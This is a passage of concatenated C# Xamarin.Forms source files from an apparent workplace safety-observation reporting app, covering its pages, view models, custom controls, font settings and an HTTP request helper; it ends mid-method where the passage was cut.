using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.ContentViews;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class DescriptionOfObservationPage : BasePage
{
StepBarView stepBar;
CustomLabel labelDescribeObservation, labelActionObservation;
CustomEditor editorDesctription, editorAction;
CustomImageButton buttonImageNext;
SaveCancelView saveCancelView;
CustomStackLayout stackMain, stackDescription, stackAction;
CustomScrollView scrollView;
private int currentStep = 2;
private DescriptionOfObservationPageViewModel ViewModel
{
get => BindingContext as DescriptionOfObservationPageViewModel;
set => BindingContext = value;
}
public DescriptionOfObservationPage(DescriptionOfObservationPageViewModel viewModel)
{
this.ViewModel = viewModel;
this.Title = AppResources.DescriptionOfObservation;
Init();
}
private void Init()
{
#region Declarations
// Labels
labelDescribeObservation = CreateLabel(AppResources.DescriptionOfObservation, AppSetting.Current.Colors.GrayColor, AppSetting.Current.FontSize.Medium);
labelDescribeObservation.Margin = new Thickness(8, 0, 0, 0);
labelActionObservation = CreateLabel(AppResources.DidYouTakeAction, AppSetting.Current.Colors.GrayColor, AppSetting.Current.FontSize.Medium);
labelActionObservation.Margin = new Thickness(8, 0, 0, 0);
// Editors
editorDesctription = CreateEditor();
var roundedEditorDesctription = CreateRoundedView(editorDesctription);
editorAction = CreateEditor();
var roundedEditorAction = CreateRoundedView(editorAction);
// Buttons
buttonImageNext = CreateImageButton(AppResources.Next, Images.NextImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonImageNext.button.HeightRequest = ScreenHeight * 0.065;
buttonImageNext.button.WidthRequest = ScreenWidth * 0.800;
buttonImageNext.image.HeightRequest = ScreenHeight * 0.040;
buttonImageNext.image.WidthRequest = ScreenHeight * 0.040;
// StepBar
stepBar = new StepBarView(currentStep);
stepBar.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
// Layouts
saveCancelView = new SaveCancelView();
stackDescription = CreateStack();
stackAction = CreateStack();
stackMain = new CustomStackLayout();
stackMain.Spacing = ScreenHeight * 0.050;
scrollView = new CustomScrollView();
scrollView.WidthRequest = ScreenWidth * 0.800;
scrollView.HorizontalOptions = LayoutOptions.Center;
#endregion
#region Bindings
editorDesctription.SetBinding(Editor.TextProperty, nameof(ViewModel.TextDescription));
editorAction.SetBinding(Editor.TextProperty, nameof(ViewModel.TextAction));
buttonImageNext.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonNextCommand));
saveCancelView.saveImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSaveCommand));
#endregion
#region Fill Layouts
stackDescription.Children.Add(labelDescribeObservation);
stackDescription.Children.Add(roundedEditorDesctription);
stackAction.Children.Add(labelActionObservation);
stackAction.Children.Add(roundedEditorAction);
stackMain.Children.Add(stepBar);
stackMain.Children.Add(stackDescription);
stackMain.Children.Add(stackAction);
stackMain.Children.Add(buttonImageNext);
stackMain.Children.Add(saveCancelView);
scrollView.Content = stackMain;
this.Content = scrollView;
#endregion
}
private CustomEditor CreateEditor()
{
var editor = new CustomEditor();
editor.FontSize = AppSetting.Current.FontSize.Medium;
editor.Placeholder = AppResources.YourTextHere;
editor.WidthRequest = ScreenWidth * 0.725;
editor.HeightRequest = ScreenHeight * 0.200;
editor.BackgroundColor = Color.Transparent;
editor.PlaceholderColor = AppSetting.Current.Colors.FontBlueColor;
editor.TextColor = AppSetting.Current.Colors.FontBlueColor;
editor.Margin = new Thickness(5, 0, 0, 0);
return editor;
}
private RoundedView CreateRoundedView(View view)
{
var roundedView = new RoundedView(view);
roundedView.frame.CornerRadius = 5;
roundedView.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
return roundedView;
}
private CustomStackLayout CreateStack()
{
var stack = new CustomStackLayout();
stack.Spacing = 5;
stack.WidthRequest = ScreenWidth * 0.740;
stack.HorizontalOptions = LayoutOptions.Center;
return stack;
}
protected override CustomLabel CreateLabel(string text, Color textColor, double? fontSize)
{
var lbl = base.CreateLabel(text, textColor, fontSize);
lbl.FontSize = AppSetting.Current.FontSize.Small;
lbl.TextColor = AppSetting.Current.Colors.LabelsColors;
return lbl;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class MDPage : MasterDetailPage
{
public static readonly BindableProperty DetailProperty =
BindableProperty.Create(nameof(Detail), typeof(Page), typeof(MDPage), null, propertyChanged: OnDetailPropertyChanged);
public static void OnDetailPropertyChanged(BindableObject bindable, object oldValue, object newValue)
{
if (oldValue != newValue)
{
((MDPage)bindable).Detail = (Page)newValue;
}
}
}
}
<file_sep>using Newtonsoft.Json;
using System;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
namespace XFBase
{
public class XFBaseWebRequest
{
public bool IsAuthorized = false;
public string AuthToken;
public string URL;
public string WebApiURL;
public HttpMethod Method = HttpMethod.Get;
public object Parameters;
public async Task<HttpResponseMessage> ExecuteAsync()
{
HttpWebRequest.DefaultCachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);
HttpResponseMessage response = new HttpResponseMessage();
string serializedParameters = JsonConvert.SerializeObject(Parameters);
switch (Method.Method)
{
case "POST":
response = await PostAsync(serializedParameters);
break;
case "GET":
response = await GetAsync(serializedParameters);
break;
case "DELETE":
response = await DeleteAsync(serializedParameters);
break;
}
return response;
}
public async Task<T> ExecuteWithCustomResultAsync<T>()
{
HttpWebRequest.DefaultCachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);
HttpResponseMessage response = new HttpResponseMessage();
string serializedParameters = JsonConvert.SerializeObject(Parameters);
switch (Method.Method)
{
case "POST":
response = await PostAsync(serializedParameters);
break;
case "GET":
response = await GetAsync(serializedParameters);
break;
case "DELETE":
response = await DeleteAsync(serializedParameters);
break;
}
if (response == null)
{
return default(T);
}
if (response.IsSuccessStatusCode)
{
var content = await response.Content.ReadAsStringAsync();
var result = JsonConvert.DeserializeObject<T>(content);
return result;
}
else if (!response.IsSuccessStatusCode)
{
switch (response.StatusCode)
{
case HttpStatusCode.Unauthorized:
throw new UnauthorizedAccessException();
}
}
return default(T);
}
private async Task<HttpResponseMessage> PostAsync(string parameters)
{
using (HttpClient client = new HttpClient())
{
try
{
StringContent content = new StringContent(parameters, Encoding.UTF8, "application/json");
var request = new HttpRequestMessage()
{
RequestUri = new Uri(WebApiURL + URL),
Method = Method,
};
request.Content = content;
AddAuthorization(request);
return await client.SendAsync(request);
}
catch (Exception ex)
{
throw ex;
}
}
}
private async Task<HttpResponseMessage> GetAsync(string parameters)
{
using (HttpClient client = new HttpClient())
{
try
{
var request = new HttpRequestMessage()
{
Method = Method,
};
if (string.IsNullOrWhiteSpace(parameters) || parameters == "null")
{
request.RequestUri = new Uri(WebApiURL + URL + "/");
}
else
{
request.RequestUri = new Uri(WebApiURL + URL + "/" + parameters);
}
AddAuthorization(request);
return await client.SendAsync(request);
}
catch (Exception ex)
{
throw ex;
}
}
}
private async Task<HttpResponseMessage> DeleteAsync(string parameters)
{
using (HttpClient client = new HttpClient())
{
try
{
var request = new HttpRequestMessage()
{
Method = Method,
};
if (string.IsNullOrWhiteSpace(parameters) || parameters == "null")
{
request.RequestUri = new Uri(WebApiURL + URL + "/");
}
else
{
request.RequestUri = new Uri(WebApiURL + URL + "/" + parameters);
}
AddAuthorization(request);
return await client.SendAsync(request);
}
catch (Exception ex)
{
throw ex;
}
}
}
private void AddAuthorization(HttpRequestMessage request)
{
if (IsAuthorized)
{
request.Headers.Add("Authorization", "Bearer " + AuthToken);
}
}
public async Task<HttpResponseMessage> UploadFileAsync(byte[] dataArray, string name, string fileName)
{
using (HttpClient client = new HttpClient())
{
try
{
using (var formData = new MultipartFormDataContent())
{
ByteArrayContent file = new ByteArrayContent(dataArray);
formData.Add(file, name, fileName);
return await client.PostAsync(WebApiURL + URL, formData);
}
}
catch (Exception ex)
{
throw ex;
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Models;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class ReportSafetyObservationPageViewModel : BaseViewModel
{
#region Properties
private bool isNew;
private bool isPickerFocused;
private bool isEntryVisible = false;
private bool isLabelVisible = true;
private string witnessId = AppResources.AmIWitness;
private string entryWitnessText = "CurrentUser"; //TODO: Needs to be changed with currently logged User Id;
private DateTime selectedDate = DateTime.Now;
private TimeSpan selectedTime = DateTime.Now.TimeOfDay;
private string selectedObservation;
private string adminAreaText;
private Color buttonAdministrativeYesTextColor = AppSetting.Current.Colors.OrangeColor;
private Color buttonAdministrativeYesBackgroundColor = Color.White;
private Color buttonAdministrativeNoTextColor = AppSetting.Current.Colors.OrangeColor;
private Color buttonAdministrativeNoBackgroundColor = Color.White;
private Color buttonWitnessYesTextColor = AppSetting.Current.Colors.OrangeColor;
private Color buttonWitnessYesBackgroundColor = Color.White;
private Color buttonWitnessNoTextColor = AppSetting.Current.Colors.OrangeColor;
private Color buttonWitnessNoBackgroundColor = Color.White;
private SafetyObservation safetyObservation;
public bool IsPickerFocused
{
get { return isPickerFocused; }
set
{
if (isPickerFocused != value)
{
isPickerFocused = value;
OnPropertyChanged(nameof(IsPickerFocused));
}
}
}
public Color ButtonWitnessNoTextColor
{
get { return buttonWitnessNoTextColor; }
set
{
if (buttonWitnessNoTextColor != value)
{
buttonWitnessNoTextColor = value;
OnPropertyChanged(nameof(ButtonWitnessNoTextColor));
}
}
}
public Color ButtonWitnessNoBackgroundColor
{
get { return buttonWitnessNoBackgroundColor; }
set
{
if (buttonWitnessNoBackgroundColor != value)
{
buttonWitnessNoBackgroundColor = value;
OnPropertyChanged(nameof(ButtonWitnessNoBackgroundColor));
}
}
}
public Color ButtonWitnessYesTextColor
{
get { return buttonWitnessYesTextColor; }
set
{
if (buttonWitnessYesTextColor != value)
{
buttonWitnessYesTextColor = value;
OnPropertyChanged(nameof(ButtonWitnessYesTextColor));
}
}
}
public Color ButtonWitnessYesBackgroundColor
{
get { return buttonWitnessYesBackgroundColor; }
set
{
if (buttonWitnessYesBackgroundColor != value)
{
buttonWitnessYesBackgroundColor = value;
OnPropertyChanged(nameof(ButtonWitnessYesBackgroundColor));
}
}
}
public Color ButtonAdministrativeYesTextColor
{
get { return buttonAdministrativeYesTextColor; }
set
{
if (buttonAdministrativeYesTextColor != value)
{
buttonAdministrativeYesTextColor = value;
OnPropertyChanged(nameof(ButtonAdministrativeYesTextColor));
}
}
}
public Color ButtonAdministrativeYesBackgroundColor
{
get { return buttonAdministrativeYesBackgroundColor; }
set
{
if (buttonAdministrativeYesBackgroundColor != value)
{
buttonAdministrativeYesBackgroundColor = value;
OnPropertyChanged(nameof(ButtonAdministrativeYesBackgroundColor));
}
}
}
public Color ButtonAdministrativeNoTextColor
{
get { return buttonAdministrativeNoTextColor; }
set
{
if (buttonAdministrativeNoTextColor != value)
{
buttonAdministrativeNoTextColor = value;
OnPropertyChanged(nameof(ButtonAdministrativeNoTextColor));
}
}
}
public Color ButtonAdministrativeNoBackgroundColor
{
get { return buttonAdministrativeNoBackgroundColor; }
set
{
if (buttonAdministrativeNoBackgroundColor != value)
{
buttonAdministrativeNoBackgroundColor = value;
OnPropertyChanged(nameof(ButtonAdministrativeNoBackgroundColor));
}
}
}
public string AdminAreaText
{
get { return adminAreaText; }
set
{
if (adminAreaText != value)
{
adminAreaText = value;
OnPropertyChanged(nameof(AdminAreaText));
}
}
}
public string SelectedObservation
{
get { return selectedObservation; }
set
{
if (selectedObservation != value)
{
selectedObservation = value;
OnPropertyChanged(nameof(SelectedObservation));
}
}
}
public void ShowHideTechnicalPopUp(CustomPicker picker)
{
if (!string.IsNullOrEmpty(SelectedObservation) && SelectedObservation.Contains(AppResources.Technical) && safetyObservation.AdministrativeAreaOrSiteFacilities)
{
if (picker.IsFocused)
{
picker.Unfocus();
}
PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, AppResources.YourSO));
}
}
public DateTime SelectedDate
{
get { return selectedDate; }
set
{
if (selectedDate != value)
{
selectedDate = value;
OnPropertyChanged(nameof(SelectedDate));
}
}
}
public TimeSpan SelectedTime
{
get { return selectedTime; }
set
{
if (selectedTime != value)
{
selectedTime = value;
OnPropertyChanged(nameof(SelectedTime));
}
}
}
public string EntryWitnessText
{
get { return entryWitnessText; }
set
{
if (entryWitnessText != value)
{
entryWitnessText = value;
OnPropertyChanged(nameof(EntryWitnessText));
}
}
}
public bool IsEntryVisible
{
get { return isEntryVisible; }
set
{
if (isEntryVisible != value)
{
isEntryVisible = value;
OnPropertyChanged(nameof(IsEntryVisible));
}
}
}
public bool IsLabelVisible
{
get { return isLabelVisible; }
set
{
if (isLabelVisible != value)
{
isLabelVisible = value;
OnPropertyChanged(nameof(IsLabelVisible));
}
}
}
public string WitnessId
{
get { return witnessId; }
set
{
if (witnessId != value)
{
witnessId = value;
OnPropertyChanged(nameof(WitnessId));
}
}
}
#endregion
public ICommand ButtonNextCommand { get; private set; }
public ICommand ButtonWitnessCommand { get; private set; }
public ICommand ButtonAdministrativeCommand { get; private set; }
public ICommand ButtonSaveCommand { get; private set; }
public ICommand TapAdministrativeCommand { get; private set; }
public ICommand TapWitnessCommand { get; private set; }
public ReportSafetyObservationPageViewModel(SafetyObservation _safetyObservation, bool _isNew)
{
isNew = _isNew;
safetyObservation = _safetyObservation;
if (safetyObservation != null && !isNew)
{
SelectedDate = safetyObservation.Date;
selectedTime = safetyObservation.Time.TimeOfDay;
SelectedObservation = safetyObservation.Title;
EntryWitnessText = safetyObservation.WitnessId;
if (safetyObservation.WitnessId == "CurrentUser")
{
OnButtonWitness(true);
}
else
{
OnButtonWitness(false);
}
ChangingButtonAdministrativeColors(safetyObservation.AdministrativeAreaOrSiteFacilities);
if (!string.IsNullOrEmpty(EntryWitnessText) && safetyObservation.WitnessId != "CurrentUser")
{
IsEntryVisible = true;
IsLabelVisible = false;
}
}
ButtonNextCommand = new Command(async () => await OnButtonNextCommand());
ButtonSaveCommand = new Command(async () => await OnButtonSaveCommand());
ButtonWitnessCommand = new Command<bool>(OnButtonWitness);
ButtonAdministrativeCommand = new Command<bool>(OnButtonAdministrative);
TapAdministrativeCommand = new Command(async () => await OnTapAdministrativeCommand());
TapWitnessCommand = new Command(async () => await OnTapWitnessCommand());
adminAreaText = AppResources.AdministrativeArea;
}
private async Task OnTapWitnessCommand()
{
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, AppResources.Attention));
}
private async Task OnTapAdministrativeCommand()
{
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, AppResources.Attention));
}
private void OnButtonAdministrative(bool yes)
{
ChangingButtonAdministrativeColors(yes);
if (!string.IsNullOrEmpty(SelectedObservation) && yes == true && selectedObservation.Contains(AppResources.Technical))
{
PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, AppResources.YourSO));
}
else
{
AdminAreaText = AppResources.AdministrativeArea;
}
}
private void ChangingButtonAdministrativeColors(bool yes)
{
if (yes)
{
ButtonAdministrativeYesTextColor = Color.White;
ButtonAdministrativeYesBackgroundColor = AppSetting.Current.Colors.OrangeColor;
ButtonAdministrativeNoTextColor = AppSetting.Current.Colors.OrangeColor;
ButtonAdministrativeNoBackgroundColor = Color.White;
}
else
{
ButtonAdministrativeNoTextColor = Color.White;
ButtonAdministrativeNoBackgroundColor = AppSetting.Current.Colors.OrangeColor;
ButtonAdministrativeYesTextColor = AppSetting.Current.Colors.OrangeColor;
ButtonAdministrativeYesBackgroundColor = Color.White;
}
safetyObservation.AdministrativeAreaOrSiteFacilities = yes;
}
private async Task OnButtonSaveCommand()
{
try
{
//var validate = Validate();
//if (!string.IsNullOrEmpty(validate))
//{
// await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, validate));
// return;
//}
if (safetyObservation == null || isNew)
{
safetyObservation = new SafetyObservation();
Populate();
AppSetting.Current.GskSafetyDB.Repository.Add<SafetyObservation>(safetyObservation);
}
else
{
Populate();
AppSetting.Current.GskSafetyDB.Repository.Update<SafetyObservation>(safetyObservation);
}
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.ReportSafetyObservation, "Saved!"));
}
catch (Exception ex)
{
Debug.WriteLine("Error:" + ex);
}
}
private string Validate()
{
StringBuilder errorText = new StringBuilder();
int count = 0;
if (string.IsNullOrEmpty(SelectedObservation))
{
errorText.Append(AppResources.TitleOfObservation);
errorText.Append(", ");
count++;
}
if (count > 1)
{
var text = AppResources.Are + " " + AppResources.Empty + ".";
errorText.Append(text);
}
else if (count == 1)
{
var text = AppResources.Is + " " + AppResources.Empty + ".";
errorText.Append(text);
}
return errorText.ToString();
}
private void Populate()
{
safetyObservation.Date = DateTime.Parse(SelectedDate.ToShortDateString());
safetyObservation.Time = SelectedDate + SelectedTime;
safetyObservation.Title = SelectedObservation;
safetyObservation.WitnessId = EntryWitnessText;
}
private void OnButtonWitness(bool yes)
{
ChangingButtonWitnessColors(yes);
if (yes == true)
{
IsLabelVisible = true;
IsEntryVisible = false;
EntryWitnessText = "CurrentUser"; //TODO: Needs to be changed with currently logged User Id
}
else
{
IsLabelVisible = false;
IsEntryVisible = true;
}
}
private void ChangingButtonWitnessColors(bool yes)
{
if (yes)
{
ButtonWitnessYesTextColor = AppSetting.Current.Colors.WhiteColor;
ButtonWitnessYesBackgroundColor = AppSetting.Current.Colors.OrangeColor;
ButtonWitnessNoTextColor = AppSetting.Current.Colors.OrangeColor;
ButtonWitnessNoBackgroundColor = AppSetting.Current.Colors.WhiteColor;
}
else
{
ButtonWitnessNoTextColor = AppSetting.Current.Colors.WhiteColor;
ButtonWitnessNoBackgroundColor = AppSetting.Current.Colors.OrangeColor;
ButtonWitnessYesTextColor = AppSetting.Current.Colors.OrangeColor;
ButtonWitnessYesBackgroundColor = AppSetting.Current.Colors.WhiteColor;
}
}
private async Task OnButtonNextCommand()
{
//var validate = Validate();
//if (!string.IsNullOrEmpty(validate))
//{
// await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, validate));
// return;
//}
Populate();
await NavigateToAsync(new DescriptionOfObservationPage(new DescriptionOfObservationPageViewModel(safetyObservation)));
}
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class CustomStackLayout : StackLayout
{
public CustomStackLayout()
{
this.Spacing = 0;
this.Margin = new Thickness(0);
this.Padding = new Thickness(0);
}
}
}
<file_sep>using System;
using FFImageLoading.Forms;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Settings;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.CustomControl
{
public class CustomImageButton : CustomContentView
{
public CustomButton button;
public CustomLabel label;
public CachedImage image;
public CustomGrid gridMain;
public CustomStackLayout stack;
public BoxView boxV;
bool isCentered;
public CustomImageButton(string text, string source, Color? color, double? fontSize, Color? boxViewColor,bool _isCentered= false)
{
isCentered = _isCentered;
gridMain = CreateGrid();
button = new CustomButton()
{
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.CenterAndExpand,
HeightRequest = ScreenWidth * 0.070,
};
label = new CustomLabel()
{
Text = text,
TextColor = color ?? Color.White,
FontSize = fontSize ?? AppSetting.Current.FontSize.Large,
VerticalOptions = LayoutOptions.CenterAndExpand,
};
image = new CachedImage()
{
Source = source,
// HeightRequest = ScreenWidth * 0.070,
// WidthRequest = ScreenWidth * 0.070,
VerticalOptions = LayoutOptions.Center,
};
stack = new CustomStackLayout()
{
Orientation = StackOrientation.Horizontal,
Spacing = 10
};
boxV = CreateBoxView(boxViewColor);
if (isCentered)
{
stack.HorizontalOptions = LayoutOptions.Center;
}
stack.Children.Add(image);
stack.Children.Add(label);
gridMain.Children.Add(boxV, 0, 1, 0, 1);
gridMain.Children.Add(stack, 0, 1, 0, 1);
gridMain.Children.Add(button, 0, 1, 0, 1);
Content = gridMain;
}
private BoxView CreateBoxView(Color? color = null)
{
var boxView = new BoxView
{
CornerRadius = 10,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
BackgroundColor = color?? Color.Transparent,
};
return boxView;
}
private CustomGrid CreateGrid()
{
var grid = new CustomGrid()
{
ColumnSpacing = 3,
RowDefinitions = {
new RowDefinition { Height = new GridLength(1, GridUnitType.Auto) },
},
ColumnDefinitions = {
new ColumnDefinition { Width = new GridLength(1, GridUnitType.Auto) },
}
};
return grid;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace GSK_Saftey.Settings.Constants
{
public class FontSizes
{
/// <summary>
/// Used to scale the font sizes according to the settings of Android devices.
/// </summary>
public static double FontRatio { get; set; } = 1;
/// <summary>
/// The smallest readable font size for the device. Most commonly used.
/// </summary>
public double Micro { get; set; } = Device.GetNamedSize(NamedSize.Micro, typeof(Label)) - 1.5;
/// <summary>
/// Small font size.
/// </summary>
public double Small { get; set; } = Device.GetNamedSize(NamedSize.Small, typeof(Label)) - 1.5;
/// <summary>
/// Medium font size.
/// </summary>
public double Medium { get; set; } = Device.GetNamedSize(NamedSize.Medium, typeof(Label)) - 1.5;
/// <summary>
/// Very big font size. Rarely used.
/// </summary>
public double Large { get; set; } = Device.GetNamedSize(NamedSize.Large, typeof(Label)) - 1.5;
public FontSizes()
{
if (Device.RuntimePlatform == Device.iOS)
{
Micro = App.ScreenSize.Height * 0.013;//Device.GetNamedSize(NamedSize.Micro, typeof(Label)) - 1.5;
Small = App.ScreenSize.Height * 0.019;//Device.GetNamedSize(NamedSize.Small, typeof(Label)) - 1.5;
Medium = App.ScreenSize.Height * 0.025;//Device.GetNamedSize(NamedSize.Medium, typeof(Label)) - 1.5;
Large = App.ScreenSize.Height * 0.031;//Device.GetNamedSize(NamedSize.Large, typeof(Label)) - 1.5;
if ((App.ScreenSize.Width * 2) <= App.ScreenSize.Height)
{
Micro = Micro * 0.7;
Small = Small * 0.7;
Medium = Medium * 0.7;
Large = Large * 0.7;
}
}
else
{
Micro = App.ScreenSize.Height * 0.013;//Device.GetNamedSize(NamedSize.Micro, typeof(Label)) * FontRatio;
Small = App.ScreenSize.Height * 0.019;//Device.GetNamedSize(NamedSize.Small, typeof(Label)) * FontRatio;
Medium = App.ScreenSize.Height * 0.025;//Device.GetNamedSize(NamedSize.Medium, typeof(Label)) * FontRatio;
Large = App.ScreenSize.Height * 0.031;//Device.GetNamedSize(NamedSize.Large, typeof(Label)) * FontRatio;
if ((App.ScreenSize.Width * 2) <= App.ScreenSize.Height)
{
Micro = Micro * 0.7;
Small = Small * 0.7;
Medium = Medium * 0.7;
Large = Large * 0.7;
}
}
}
}
}
<file_sep>using System;
using System.Diagnostics;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.ImageService;
using GSK_Saftey.Helpers.PlatformServices.Images;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.MessageHubMessages;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class ImagesOfObservationPageViewModel : BaseViewModel
{
#region Properties
private int clickedButtonParam;
private bool isFirstDefaultGridVissible = true;
private bool isSecondDefaultGridVissible = true;
private bool isFirstTakePictureVissible = true;
private bool isSecondTakePictureVissible = true;
private bool isFirstImageGridVissible = false;
private bool isSecondImageGridVissible = false;
private ImageSource firstGridImageSource;
private ImageSource secondGridImageSource;
private SafetyObservation safetyObservation;
public bool IsFirstDefaultGridVissible
{
get { return isFirstDefaultGridVissible; }
set
{
if (isFirstDefaultGridVissible != value)
{
isFirstDefaultGridVissible = value;
OnPropertyChanged(nameof(IsFirstDefaultGridVissible));
}
}
}
public bool IsSecondDefaultGridVissible
{
get { return isSecondDefaultGridVissible; }
set
{
if (isSecondDefaultGridVissible != value)
{
isSecondDefaultGridVissible = value;
OnPropertyChanged(nameof(IsSecondDefaultGridVissible));
}
}
}
public bool IsFirstTakePictureButtonVissible
{
get { return isFirstTakePictureVissible; }
set
{
if (isFirstTakePictureVissible != value)
{
isFirstTakePictureVissible = value;
OnPropertyChanged(nameof(IsFirstTakePictureButtonVissible));
}
}
}
public bool IsSecondTakePictureButtonVissible
{
get { return isSecondTakePictureVissible; }
set
{
if (isSecondTakePictureVissible != value)
{
isSecondTakePictureVissible = value;
OnPropertyChanged(nameof(IsSecondTakePictureButtonVissible));
}
}
}
public bool IsFirstImageGridVissible
{
get { return isFirstImageGridVissible; }
set
{
if (isFirstImageGridVissible != value)
{
isFirstImageGridVissible = value;
OnPropertyChanged(nameof(IsFirstImageGridVissible));
}
}
}
public bool IsSecondImageGridVissible
{
get { return isSecondImageGridVissible; }
set
{
if (isSecondImageGridVissible != value)
{
isSecondImageGridVissible = value;
OnPropertyChanged(nameof(IsSecondImageGridVissible));
}
}
}
public ImageSource FirstGridImageSource
{
get { return firstGridImageSource; }
set
{
if (firstGridImageSource != value)
{
firstGridImageSource = value;
OnPropertyChanged(nameof(FirstGridImageSource));
}
}
}
public ImageSource SecondGridImageSource
{
get { return secondGridImageSource; }
set
{
if (secondGridImageSource != value)
{
secondGridImageSource = value;
OnPropertyChanged(nameof(SecondGridImageSource));
}
}
}
#endregion
public ICommand ButtonTakePictureCommand { get; private set; }
public ICommand ButtonNextCommand { get; private set; }
public ICommand DeleteCommand { get; private set; }
public ICommand ButtonSaveCommand { get; private set; }
public ImagesOfObservationPageViewModel(SafetyObservation _safetyObservation)
{
safetyObservation = _safetyObservation;
if (safetyObservation != null)
{
FirstGridImageSource = ImageSource.FromFile(safetyObservation.FirstImageSource);
if (!string.IsNullOrEmpty(safetyObservation.FirstImageSource))
{
IsFirstDefaultGridVissible = false;
IsFirstTakePictureButtonVissible = false;
IsFirstImageGridVissible = true;
}
SecondGridImageSource = ImageSource.FromFile(safetyObservation.SecondImageSource);
if (!string.IsNullOrEmpty(safetyObservation.SecondImageSource))
{
IsSecondDefaultGridVissible = false;
IsSecondTakePictureButtonVissible = false;
IsSecondImageGridVissible = true;
}
}
ButtonTakePictureCommand = new Command<int>(OnButtonTakePictureCommand);
ButtonNextCommand = new Command(async () => await (OnButtonNextCommand()));
ButtonSaveCommand = new Command(async () => await (OnButtonSaveCommand()));
DeleteCommand = new Command<int>(OnDeleteCommand);
}
public void Subscribe()
{
App.MessageHub.SubscribeWithParameter(Messages.UploadImage, async (sender, args) =>
{
await UploadImage((ImagesEnum)args);
});
}
public void UnSubscribe()
{
App.MessageHub.UnsubscribeWithParameter(Messages.UploadImage);
}
private async Task OnButtonSaveCommand()
{
try
{
Populate();
if (safetyObservation != null && safetyObservation.ID > 0)
{
AppSetting.Current.GskSafetyDB.Repository.Update<SafetyObservation>(safetyObservation);
}
else
{
AppSetting.Current.GskSafetyDB.Repository.Add<SafetyObservation>(safetyObservation);
}
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.ImagesOfObservation, "Saved!"));
}
catch (Exception ex)
{
Debug.WriteLine("Error:" + ex);
}
}
private void Populate()
{
var firstImage = (Xamarin.Forms.FileImageSource)FirstGridImageSource;
var secondImage = (Xamarin.Forms.FileImageSource)SecondGridImageSource;
if (firstImage != null && firstImage.File != null)
{
safetyObservation.FirstImageSource = firstImage.File;
}
if (secondImage != null && secondImage.File != null)
{
safetyObservation.SecondImageSource = secondImage.File;
}
}
private async Task OnButtonNextCommand()
{
Populate();
await NavigateToAsync(new PreviewPage(new PreviewPageViewModel(safetyObservation)));
}
private void OnDeleteCommand(int param)
{
clickedButtonParam = param;
if (clickedButtonParam == 1)
{
IsFirstDefaultGridVissible = true;
IsFirstTakePictureButtonVissible = true;
IsFirstImageGridVissible = false;
FirstGridImageSource = null;
safetyObservation.FirstImageSource = null;
}
else if (clickedButtonParam == 2)
{
SecondGridImageSource = null;
IsSecondDefaultGridVissible = true;
IsSecondTakePictureButtonVissible = true;
IsSecondImageGridVissible = false;
safetyObservation.SecondImageSource = null;
}
}
private async Task UploadImage(ImagesEnum action)
{
switch (action)
{
case ImagesEnum.ChoosePhoto:
await ChoosePhotoAsync();
HideDefaultGrid();
await PopupNavigation.Instance.PopAsync(true);
break;
case ImagesEnum.TakePhoto:
await TakePhotoAsync();
HideDefaultGrid();
await PopupNavigation.Instance.PopAsync(true);
break;
}
}
private void OnButtonTakePictureCommand(int param)
{
clickedButtonParam = param;
PopupNavigation.Instance.PushAsync(new ImagesPopUp());
}
private void HideDefaultGrid()
{
var firstImage = (Xamarin.Forms.FileImageSource)FirstGridImageSource;
var secondImage = (Xamarin.Forms.FileImageSource)SecondGridImageSource;
if (clickedButtonParam == 1 && FirstGridImageSource != null && firstImage.File != null)
{
IsFirstDefaultGridVissible = false;
IsFirstTakePictureButtonVissible = false;
IsFirstImageGridVissible = true;
}
else if (clickedButtonParam == 2 && SecondGridImageSource != null && secondImage.File != null)
{
IsSecondDefaultGridVissible = false;
IsSecondTakePictureButtonVissible = false;
IsSecondImageGridVissible = true;
}
}
private async Task ChoosePhotoAsync()
{
var imagePath = await ImageServices.PickPhotoAsync();
